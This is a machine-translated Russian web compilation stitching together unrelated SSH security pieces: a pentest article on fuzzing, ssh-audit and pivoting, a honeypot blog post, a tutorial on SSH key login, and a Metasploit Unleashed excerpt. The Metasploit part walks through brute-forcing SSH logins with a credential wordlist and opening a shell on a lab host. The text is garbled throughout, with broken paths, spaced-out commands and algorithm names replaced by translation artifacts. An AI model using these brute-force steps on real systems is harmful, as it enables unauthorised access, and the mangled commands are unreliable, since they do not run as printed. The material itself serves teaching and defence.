[*] 192.168.1.94: 22 - Фаззинг с итерацией 700 с использованием fuzzer_string_paths_giant
[*] 192.168.1.94:22 - Фаззинг с итерацией 800 с использованием fuzzer_string_paths_giant
[*] 192.168.1.94:22 - Фаззинг с итерацией 900 с использованием fuzzer_string_paths_giant
[*] 192.168.1.94:22 - Фаззинг с итерацией 1000 с использованием fuzzer_string_paths_giant
...
Использовать эти инструменты легко, но у вас мало шансов найти что-то, что можно использовать.
Индивидуальный и ручной подход
Если вы хотите получить более значимые результаты и у вас есть время, чтобы ознакомиться с целевой реализацией, вы можете выбрать ручной подход.
Здесь метод заключается в использовании расширенного универсального фаззера на автономном SSH-сервере и изменении исходного кода для оптимизации времени выполнения теста. Таким образом, потребуется настроить фаззер, настроить и построить целевую реализацию, выявить сбои, сократить использование ресурсоемких функций для ускорения фаззинга, увеличить охват, создать входные тестовые примеры и входные словари, а также иметь глубокое понимание протокола SSH и реализации.
Вот пример Vegard Nossum Fuzzing the OpenSSH daemon с использованием AFL.
Связанные инструменты и ресурсы
«HASSH» - это стандарт идентификации сети, который может использоваться для идентификации конкретных реализаций SSH клиента и сервера. Отпечатки пальцев можно легко хранить, искать и передавать в виде отпечатков пальцев MD5.
HASSH - это стандарт, который помогает синим командам обнаруживать, контролировать и расследовать попытки грубой силы или подбора пароля, кражу данных, обнаружение сети и горизонтальное перемещение и т. Д.
ssh-audit - это инструмент аудита SSH-серверов (баннер, обмен ключами, шифрование, Mac, сжатие, совместимость, безопасность и т. Д.).
Профессиональным пентестерам удобно быстро определять целевую версию и знать, какие алгоритмы доступны на удаленном сервере, чтобы давать рекомендации по алгоритмам заказчику.
Пример использования:
$ ssh-audit 192.168.1.94
# Общее
(общий) баннер: SSH-2.0-OpenSSH_7.9
(gen) программное обеспечение: OpenSSH 7.9
(gen) совместимость: OpenSSH 7.3+, Dropbear SSH 2016.73+
(gen) сжатие: включено ([электронная почта защищена])
# алгоритмов обмена ключами
(kex) curve25519-sha256 - [предупреждать] неизвестный алгоритм
(kex) [электронная почта защищена] - [информация] доступна с OpenSSH 6.5, Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp256 - [сбой] с использованием слабых эллиптических кривых
`- [информация] доступно с OpenSSH 5.7, Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp384 - [сбой] с использованием слабых эллиптических кривых
`- [информация] доступно с OpenSSH 5.7, Dropbear SSH 2013.62
(kex) ecdh-sha2-nistp521 - [сбой] с использованием слабых эллиптических кривых
`- [информация] доступна начиная с OpenSSH 5.7, Dropbear SSH 2013.62
(kex) diffie-hellman-group-exchange-sha256 - [предупреждать] с использованием модуля нестандартного размера (возможно, слабого)
`- [информация] доступна начиная с OpenSSH 4.4
(kex) diffie-hellman-group16-sha512 - [информация] доступно с OpenSSH 7.3, Dropbear SSH 2016.73
(kex) diffie-hellman-group18-sha512 - [информация] доступно с OpenSSH 7.3
(kex) diffie-hellman-group14-sha256 - [информация] доступно с OpenSSH 7.3, Dropbear SSH 2016.73
(kex) diffie-hellman-group14-sha1 - [предупредить] об использовании слабого алгоритма хеширования
`- [информация] доступна начиная с OpenSSH 3.9, Dropbear SSH 0.53
# алгоритмы ключа хоста
(ключ) rsa-sha2-512 - [информация] доступно начиная с OpenSSH 7.2
(ключ) rsa-sha2-256 - [информация] доступно начиная с OpenSSH 7.2
(ключ) ssh-rsa - [информация] доступно с OpenSSH 2.5.0, Dropbear SSH 0.28
(ключ) ecdsa-sha2-nistp256 - [сбой] с использованием слабых эллиптических кривых
`- [предупредить] использование слабого генератора случайных чисел может раскрыть ключ
`- [информация] доступна начиная с OpenSSH 5.7, Dropbear SSH 2013.62
(ключ) ssh-ed25519 - [информация] доступно начиная с OpenSSH 6.5
# алгоритмов шифрования (шифров)
(enc) [электронная почта защищена] - [информация] доступно с OpenSSH 6.5
`- [info] шифр по умолчанию, начиная с OpenSSH 6.9.
(enc) aes128-ctr - [информация] доступно с OpenSSH 3.7, Dropbear SSH 0.52
(enc) aes192-ctr - [информация] доступно с OpenSSH 3.7
(enc) aes256-ctr - [информация] доступно начиная с OpenSSH 3.7, Dropbear SSH 0,52
(enc) [электронная почта защищена] - [информация] доступно с OpenSSH 6.2
(enc) [электронная почта защищена] - [информация] доступно с OpenSSH 6.2
# алгоритмов кода аутентификации сообщения
(mac) [электронная почта защищена] - [предупреждать] с использованием небольшого 64-битного тега
`- [информация] доступна с OpenSSH 6.2
(mac) [адрес электронной почты защищен] - [информация] доступно с OpenSSH 6.2
(mac) [электронная почта защищена] - [информация] доступна с OpenSSH 6.2
(mac) [адрес электронной почты защищен] - [информация] доступно с OpenSSH 6.2
(mac) [электронная почта защищена] - [предупреждать] об использовании слабого алгоритма хеширования
`- [информация] доступна с OpenSSH 6.2
(mac) [электронная почта защищена] - [предупреждать] с использованием режима шифрования и MAC
`- [предупреждать] с использованием небольшого 64-битного тега
`- [информация] доступна с OpenSSH 4.7
(mac) [электронная почта защищена] - [предупреждать] с использованием режима шифрования и MAC
`- [информация] доступна начиная с OpenSSH 6.2
(mac) hmac-sha2-256 - [предупреждать] с использованием режима шифрования и MAC
`- [информация] доступно с OpenSSH 5.9, Dropbear SSH 2013.56
(mac) hmac-sha2-512 - [предупреждать] с использованием режима шифрования и MAC
`- [информация] доступно с OpenSSH 5.9, Dropbear SSH 2013.56
(mac) hmac-sha1 - [предупреждать] с использованием режима шифрования и MAC
`- [предупредить] об использовании слабого алгоритма хеширования
`- [информация] доступна начиная с OpenSSH 2.1.0, Dropbear SSH 0.28
# рекомендации по алгоритму (для OpenSSH 7.9)
(rec) -ecdh-sha2-nistp521 - алгоритм kex для удаления
(rec) -ecdh-sha2-nistp384 - алгоритм kex для удаления
(rec) -diffie-hellman-group14-sha1 - алгоритм kex для удаления
(rec) -ecdh-sha2-nistp256 - алгоритм kex для удаления
(rec) -diffie-hellman-group-exchange-sha256 - алгоритм kex для удаления
(rec) -ecdsa-sha2-nistp256 - ключевой алгоритм для удаления
(rec) -hmac-sha2-512 - алгоритм Mac для удаления
(rec) [email protected] - алгоритм Mac для удаления
(rec) -hmac-sha2-256 - алгоритм Mac для удаления
(rec) [email protected] - алгоритм Mac для удаления
(rec) -hmac-sha1 - алгоритм Mac для удаления
(rec) [email protected] - алгоритм Mac для удаления
(rec) [email protected] - алгоритм Mac для удаления
Ресурсы для разработчиков по общим эксплойтам
Хотя (помимо этой статьи) для разработки эксплойтов для SSH на самом деле не так много, но применимы многие из тех же общих тенденций.Во многих книгах и статьях подробно описана разработка эксплойтов нулевого дня на основе стека и кучи, некоторые из которых описаны в соответствующих разделах наших книг и страниц ресурсов. (TL; DR; Справочник хакеров Corelan и Shellcoders по-прежнему лучший).
Некоторые из наиболее заметных за последнее время эксплойтов удаленного SSH перечислены ниже в виде краткого неполного списка -
Рекомендации по безопасности SSH
Mozilla дает рекомендации по защите сервера OpenSSH в этом справочном руководстве.
Лучшие текущие практики в отношении безопасной конфигурации SSH также приведены в руководстве под названием Applied Crypto Hardering. В настоящее время примеры конфигурации приведены для OpenSSH, Cisco ASA и Cisco IOS. Источник руководства также доступен.
Поворот
В 2019 году я опубликовал статью о развороте сети Etat de l’art du pivoting réseau en 2019 [fr-FR].
В этой статье рассматриваются следующие темы, связанные с SSH:
- Перенаправление локального порта SSH
- SSH обратная переадресация удаленного порта
- SSH динамическое перенаправление портов
- SSH обратная переадресация удаленного порта + прокси SOCKS
- VPN через SSH
- sshuttle - Прозрачный прокси поверх ssh
- Chisel - HTTP-туннель через SSH
Эти методы полезны для профессионального красного тимера, чтобы совершить боковое движение в целевой сети.
Это статья сообщества. Если вы хотите пообщаться с другими экспертами по кибербезопасности, публиковать статьи или сотрудничать с нами, присоединяйтесь к нашему каналу Discord, нажав здесь.
Об авторе
Меня зовут Александр ЗАННИ он же noraj . Я инженер по кибербезопасности, аудитор по безопасности, пентестер и этический хакер. Также я являюсь сотрудником ассоциации RTFM и разработчиком BlackArch Linux.
Ссылка - pwn.автор: / noraj
Как я разрешил «хакерам» заходить на мой сервер по ssh.
Краткие технические историиСтарший инженер приложений
Извините за это изображение!В моей предыдущей статье (https://hackernoon.com/how-ive-captured-all-passwords-trying-to-ssh-into-my-server-d26a2a6263ec) я изменил SSH, чтобы распечатать пароль, который боты или «хакеры» пытались противостоять моему серверу.
Я чувствовал, что следующий шаг - впустить их, поэтому я и сделал на прошлой неделе.
Отказ от ответственности:- Они будут входить в контейнер с минимальными возможностями
- Они не получат оболочку, они получат имитацию оболочки (sshesame)
- Любые пароли, которые они попробуют, будут работать ( чтобы получить их все h5ck3rs)
- Это работает на ванильном экземпляре, который я уничтожу после этой статьи.
- Если вы не хотите читать всю реализацию, вывод можно найти в конце статьи.
Докер - очевидный вариант, но у меня был ряд опасений: от атак, которые запускаются из контейнера, вызывая какое-то исчерпание ресурсов (форк-бомбы, номер файла и т. Д.), До загрузки, да загрузки, я был обеспокоен тем, что люди загружают неправильный контент в контейнеры на моих серверах.
Также я не хотел, чтобы все боты входили в ОДИН контейнер, я хочу выделить по одному контейнеру на каждого бота
Шаг 2 Сделать Docker непригодным для использования:Я откажусь от всех возможностей, а затем добавлю те, которые мне действительно нужны:
docker run --read-only --privileged = false --cap-drop all --cap-add SYS_CHROOT --cap-add SETGID --cap-add SETUID - cap-add CHOWN -dt bechampion / honey
Я мог бы тоже ограничить память, но я забыл об этом.
Второе, что я использовал, это проект под названием sshesame, который я разветвил (https://github.com/bechampion/sshesame) и добавил некоторые модификации.
В основном sshesame действует как сервер openssh и имитирует оболочку, он позволяет вам войти и для любой команды, которую вы запускаете, ничего не возвращает, например:
Это запущенный сервер, вы можете видеть, что мой пароль был «что угодно» , буквально все идет:
Вот и все, он позволяет вам использовать любой пароль, и вы можете запускать команды, которые хотите, они ничего не возвращают.
Наконец, я хотел запретить доступ в Интернет из самого контейнера, а также sshing в хост, поэтому здесь помогли iptables и sysctl:
echo 0> / proc / sys / net / ipv4 / ip_forwardШаг 3 Докер СЛИШКОМ непригоден для использования:
iptables -A INPUT -i docker0 -p tcp --destination-port 22 -j DROP
После небольшого теста я понял, что большинство ботов запускают uname -a и закрываются в полной грусти, поэтому я раздвоился sshesame и добавил несколько команд, motds и PS1, посмотрите (https: // github.com / bechampion / sshesame / blob / master / channel / channel.go # L46) и в других местах.
Шаг 4 Дайте каждому соединению уникальный контейнер:Хорошо, если бы я использовал нормальную трансляцию порта докера, например,
docker run -dt -p 22: 2222 image
Это привело бы к попаданию всех злоумышленников или боты в том же контейнере , но я не хотел этого, я хочу, чтобы каждый отдельный бот / злоумышленник находился в своем собственном контейнере.
Итак, xinetd и socat приходят на помощь:
Итак, вот как выглядит служба в xinetd, ПОМНИТЕ ИЗМЕНИТЬ / etc / services, чтобы соответствовать этому назначению порта.
Таким образом, каждое соединение, входящее в порт 22, будет запускать honey.sh, honey.sh выглядит так:
Самое главное, я получаю ip контейнера и запускаю
exec / usr / bin / socat stdin tcp : $ {DIP}: 2222, retry = 60
Это отправляет весь трафик, поступающий от xinetd, в соответствующий контейнер на его собственный порт, это 2222
Шаг 5 Зарегистрируйте все их команды:До того, как я наткнулся на sshesame, я думал о том, чтобы проверить все контейнеры или auditd, auditd пригодился, если честно, мне нужно регистрировать все вызовы execve примерно так:
-D
-b 8192
-f 1
--backlog_wait_time 0
-a выход, всегда -F arch = b64 -S execve
Мне также удалось получить нечто подобное с помощью strace:
strace -ffffff -p 10521 -s 100000 #optional -e trace = execve
В конечном счете, я решил использовать ведение журнала json по умолчанию sshesame, которое является стандартным, когда работает в контейнере.Это выглядит примерно так:
JSON - это здорово.
Шаг 6 Создайте файл докера и нажмите его вверх:Итак, следующим шагом было создание многоступенчатого файла докера, который компилирует sshesame и копирует его в alpine, это выглядит так
и
Все это может быть найдено в: Action :Я должен сказать, что по какой-то странной причине проходили дни, когда люди не входили в систему, я получал возможное сканирование портов, и все, но через несколько дней некоторые вещи начали появляться :
Когда я это увидел, я начал думать, что sshesame , возможно, было СЛИШКОМ очевидным, и я добавил модификации, о которых говорил выше.
Через несколько дней:В течение нескольких дней я не видел ничего интересного, просто unames или / proc / cpuinfo… но потом все стало проявляться
Пример 1:В основном что-то загружал , chmod и запустите, большинство этих хостов отключатся через несколько минут.
Пример 2:На самом деле то же самое, но этот парень был очень осторожен, удалив, например, свой bash_history или
mv / bin / wget / bin / good (это та чушь, которую он скачал)
Не вдаваясь в подробности, файлы, которые они загружают, являются эльфами, связав их, вы получите что-то вроде:
Всевозможные тревожные вещи, insmods, cronjobs, url-запросы и сокеты.Я прогнал это через какой-то антивирус, и они, похоже, использовались для DDOS.
Подводя итог:Я надеюсь, что это своего рода иллюстрация того, что вы можете получить с медовым горшком SSH, честно говоря, я ожидал чего-то более продвинутого, но в итоге получилось то ... Я вставляю все в сущность, поэтому вы можете получить это здесь:
ВСЕ THE ВЫХОДПохожие истории
Теги
Присоединяйтесь к Hacker NoonСоздайте свою бесплатную учетную запись, чтобы разблокировать опыт чтения.
: Глава 6. Безопасные туннели :: Взломы сетевой безопасности :: Сеть :: eTutorials.org
Использовать ключи SSH вместо аутентификации по паролю для ускорения и автоматизации входа в систему.
Когда ты администратор более чем на нескольких машинах, способный быстро ориентироваться к оболочке на любом сервере имеет решающее значение. Необходимо ввести ssh my.server.com (за которым следует пароль) не только утомительно, но это также нарушает вашу концентрацию.Внезапно получив перейти от "где же проблема? "к" получению там ", а затем обратно к "что это такое, тогда? "привел к преждевременному старость. Он продвигает цифровой эквивалент фразы "Почему я вообще заходил в эту комнату? »
В любом случае, больше усилий, затрачиваемых на вход в систему, означает меньше усилия, затраченные на решение проблем. Последние версии SSH предлагают безопасный альтернатива бесконечному вводу пароля: обмен открытыми ключами.
Для этих примеров я предполагаю, что вы используете OpenSSHv3.4p1 или новее. Чтобы использовать открытые ключи с SSH-сервером, вам сначала нужно создать пара открытый / закрытый ключ:
$ ssh-keygen -t rsa
Вы также можете использовать -t dsa для ключей DSA или -t rsa1, если вы используете протокол v1. (И позор вам, если вы используете v1! Обновите до v2, как только можно!) По возможности используйте Ключи RSA - есть проблемы с ключами DSA, хотя они очень редки.
После ввода команды вы должны увидеть что-то вроде этого:
Создание пары открытого / закрытого ключей RSA. Введите файл, в котором нужно сохранить ключ (/home/rob/.ssh/id_rsa):
Просто нажмите Enter там. Затем он попросит вас ввести кодовую фразу; просто дважды нажмите Enter (но прочтите следующий раздел, Раздел 6.8.1). Вот как должны выглядеть результаты:
Введите кодовую фразу (пусто, если кодовая фраза отсутствует): Введите ту же парольную фразу еще раз: Ваша идентификация сохранена в / home / rob /.ssh / id_rsa. Ваш открытый ключ сохранен в /home/rob/.ssh/id_rsa.pub. Ключевой отпечаток пальца: a6: 5c: c3: eb: 18: 94: 0b: 06: a1: a6: 29: 58: fa: 80: 0a: bc rob @ localhost
Это создало два файла: ~ / .ssh / id_rsa и ~ / .ssh / id_rsa.pub . Чтобы использовать эту пару ключей на сервер, попробуйте это:
$ cat .ssh / id_rsa.pub | \ ssh сервер "mkdir .ssh && chmod 0700.ssh && cat> .ssh / authorized_keys2 "
Конечно, замените имя вашего сервера на сервер . Теперь просто ssh сервер , и он должен войти в систему автоматически, без пароля. И да, он будет использовать ваш блестящий новый публичный ключ для scp тоже.
Если это не сработало, проверьте свой файл разрешения на ~ / .ssh / * и Сервер : ~ / .ssh / * .Ваш личный ключ ( id_rsa ) должен быть режим 0600 (и присутствовать только на вашей локальной машине), а все остальное должно быть в режиме 0655 или лучше. Кроме того, вашему домашнему каталогу на сервере потребуется должен быть режим 755 или лучше. Если это группа с возможностью записи, кто-то, кто принадлежит к группе, которой принадлежит ваш дом каталог может удалить ~ / .ssh , даже если ~ / .ssh не доступен для записи этой группе. Сначала это может показаться неочевидным, но если они могут это сделать, а затем могут создавать свои собственные ~ /.ssh и an authorized_keys2 файл, который может содержать какие ключи они пожелают. К счастью, демон SSH поймает это и откажется от аутентификации с открытым ключом пока ваши разрешения не будут исправлены.
Проблемы безопасности
Некоторые рассмотреть возможность использования открытые ключи потенциально риск безопасности. В конце концов, достаточно украсть копию вашего закрытый ключ для получения доступа к вашим серверам.Хотя это правда, то же самое верно и в отношении паролей.
Спросите себя, сколько раз в день вы вводите пароль, чтобы получить доступ оболочки к машине (или scp файл)? Как часто это один и тот же пароль на многих (или на всех) машины? Вы когда-нибудь использовали этот пароль таким образом, чтобы сомнительный (на веб-сайте персональная машина, которая не совсем последняя версия, или, возможно, с SSH клиент на машине, которую вы не делаете напрямую контроль)? Если какая-либо из этих возможностей кажется вам знакомой, рассмотрите что ключ SSH в той же настройке сделает его виртуально невозможно для злоумышленника впоследствии получить несанкционированный доступ (при условии, конечно, что вы храните свой закрытый ключ в безопасности).
Еще один способ сбалансировать простоту использования с безопасностью - использовать кодовую фразу на вашем ключе, но используйте SSH-агент для управления вашими ключами для ты. Когда вы запустите агент, он попросит вас ввести кодовую фразу. один раз и будет кэшировать его, пока вы не убьете агента. Некоторые люди даже идут что касается хранения их ключей SSH на съемных носителях (например, USB брелок), и берите их ключи с собой, куда бы они ни пошли. тем не мение вы решите использовать SSH-ключи, вы почти наверняка обнаружил, что они очень полезная альтернатива традиционные пароли.
? Роб Фликенгер (Linux Server Hacks)
Вспомогательные модули SSH сканера- Metasploit Unleashed
ssh_login
Модуль ssh_login довольно универсален, поскольку он может не только тестировать набор учетных данных по диапазону IP-адресов, но также может выполнять попытки входа в систему методом грубой силы. Мы передадим в модуль файл, содержащий имена пользователей и пароли, разделенные пробелом, как показано ниже.
root @ kali: ~ # голова / usr / share / metasploit-framework / data / wordlists / root_userpass.текст корень корень! корень корень Cisco root NeXT корень QNX корневой администратор корневая атака корень ax400 корень багабу корень blablabla
Затем мы загружаем модуль сканера в Metasploit и устанавливаем USERPASS_FILE, чтобы он указывал на наш список учетных данных для попытки.
msf> используйте вспомогательный / сканер / ssh / ssh_login вспомогательный msf (ssh_login)> показать параметры Параметры модуля (вспомогательный / сканер / ssh / ssh_login): Имя Текущая настройка Требуется Описание ---- --------------- -------- ----------- BLANK_PASSWORDS false нет Попробуйте пустые пароли для всех пользователей BRUTEFORCE_SPEED 5 да Скорость перебора, от 0 до 5 DB_ALL_CREDS false нет Попробуйте каждую пару пользователь / пароль, хранящуюся в текущей базе данных DB_ALL_PASS false нет Добавить в список все пароли из текущей базы данных DB_ALL_USERS false нет Добавить всех пользователей в текущей базе данных в список ПАРОЛЬ нет Конкретный пароль для аутентификации с помощью PASS_FILE нет Файл, содержащий пароли, по одному на строку RHOSTS да Целевой диапазон адресов или идентификатор CIDR RPORT 22 да Целевой порт STOP_ON_SUCCESS false yes Прекратить угадывать, когда учетные данные работают для хоста THREADS 1 yes Количество параллельных потоков ИМЯ ПОЛЬЗОВАТЕЛЯ нет Определенное имя пользователя для аутентификации как USERPASS_FILE нет Файл, содержащий пользователей и пароли, разделенные пробелом, по одной паре в строке USER_AS_PASS false нет Попробуйте использовать имя пользователя в качестве пароля для всех пользователей USER_FILE нет Файл, содержащий имена пользователей, по одному в каждой строке VERBOSE true yes Следует ли распечатывать выходные данные для всех попыток вспомогательный msf (ssh_login)> установить RHOSTS 192.168.1.154 RHOSTS => 192.168.1.154 вспомогательный msf (ssh_login)> установить USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt USERPASS_FILE => /usr/share/metasploit-framework/data/wordlists/root_userpass.txt вспомогательный msf (ssh_login)> установить VERBOSE false ГЛАГОЛ => ложь
Когда все готово, мы запускаем модуль. Когда действительная пара учетных данных найдена, нам предоставляется оболочка на удаленном компьютере.
вспомогательный msf (ssh_login)> запустить [*] 192.168.1.154: 22 - SSH - Запуск буфера [*] Сеанс командной оболочки 1 открыт (?? -> ??) в 2010-09-09 17:25:18 -0600 [+] 192.168.1.154:22 - SSH - Успех: 'msfadmin': 'msfadmin' 'uid = 1000 (msfadmin) gid = 1000 (msfadmin) groups = 4 (adm), 20 (dialout), 24 (cdrom), 25 (дискета), 29 (аудио), 30 (dip), 44 (видео), 46 (plugdev), 107 (плавкий предохранитель), 111 (lpadmin), 112 (admin), 119 (sambashare), 1000 (msfadmin) Linux metasploitable 2.6.24-16-server # 1 SMP Чт 10 апр, 13:58:00 UTC 2008 i686 GNU / Linux ' [*] Просканирован 1 из 1 хоста (выполнено 100%) [*] Выполнение вспомогательного модуля завершено вспомогательный msf (ssh_login)> сеансы -i 1 [*] Запуск взаимодействия с 1... я бы uid = 1000 (msfadmin) gid = 1000 (msfadmin) groups = 4 (adm), 20 (dialout), 24 (cdrom), 25 (floppy), 29 (audio), 30 (dip), 44 (video), 46 (plugdev), 107 (предохранитель), 111 (lpadmin), 112 (админ), 119 (самбашаре), 1000 (msfadmin) uname -a Linux metasploitable 2.6.24-16-server # 1 SMP Чт 10 апр, 13:58:00 UTC 2008 i686 GNU / Linux выход [*] Сессия 1 командной оболочки закрыта. вспомогательный msf (ssh_login)>
ssh_login_pubkey
Использование аутентификации с открытым ключом для SSH считается гораздо более безопасным, чем использование имен пользователей и паролей для аутентификации.Предостережение заключается в том, что, если часть закрытого ключа пары ключей не защищена, безопасность конфигурации резко снижается. Если во время взаимодействия вы получаете доступ к закрытому SSH-ключу, вы можете использовать модуль ssh_login_pubkey , чтобы попытаться войти в систему на различных устройствах.
msf> используйте вспомогательный / сканер / ssh / ssh_login_pubkey вспомогательный msf (ssh_login_pubkey)> показать параметры Параметры модуля (вспомогательный / сканер / ssh / ssh_login_pubkey): Имя Текущая настройка Требуется Описание ---- --------------- -------- ----------- BRUTEFORCE_SPEED 5 да Скорость перебора, от 0 до 5 DB_ALL_CREDS false нет Попробуйте каждую пару пользователь / пароль, хранящуюся в текущей базе данных DB_ALL_PASS false нет Добавить в список все пароли из текущей базы данных DB_ALL_USERS false нет Добавить всех пользователей в текущей базе данных в список KEY_PATH да Имя файла или каталог закрытых ключей в открытом виде.Имена файлов, начинающиеся с точки или заканчивающиеся на «.pub», будут пропущены. RHOSTS да Целевой диапазон адресов или идентификатор CIDR RPORT 22 да Целевой порт STOP_ON_SUCCESS false yes Прекратить угадывать, когда учетные данные работают для хоста THREADS 1 yes Количество параллельных потоков ИМЯ ПОЛЬЗОВАТЕЛЯ нет Определенное имя пользователя для аутентификации как USER_FILE нет Файл, содержащий имена пользователей, по одному в каждой строке VERBOSE true yes Следует ли распечатывать выходные данные для всех попыток вспомогательный msf (ssh_login_pubkey)> установить KEY_FILE / tmp / id_rsa KEY_FILE => / tmp / id_rsa вспомогательный msf (ssh_login_pubkey)> установить ИМЯ ПОЛЬЗОВАТЕЛЯ root ИМЯ ПОЛЬЗОВАТЕЛЯ => root вспомогательный msf (ssh_login_pubkey)> установить RHOSTS 192.168.1.154 RHOSTS => 192.168.1.154 вспомогательный msf (ssh_login_pubkey)> запустить [*] 192.168.1.154:22 - SSH - Проверка ключей открытого текста [*] 192.168.1.154:22 - SSH - Использование 1 ключа открытого текста для каждого пользователя.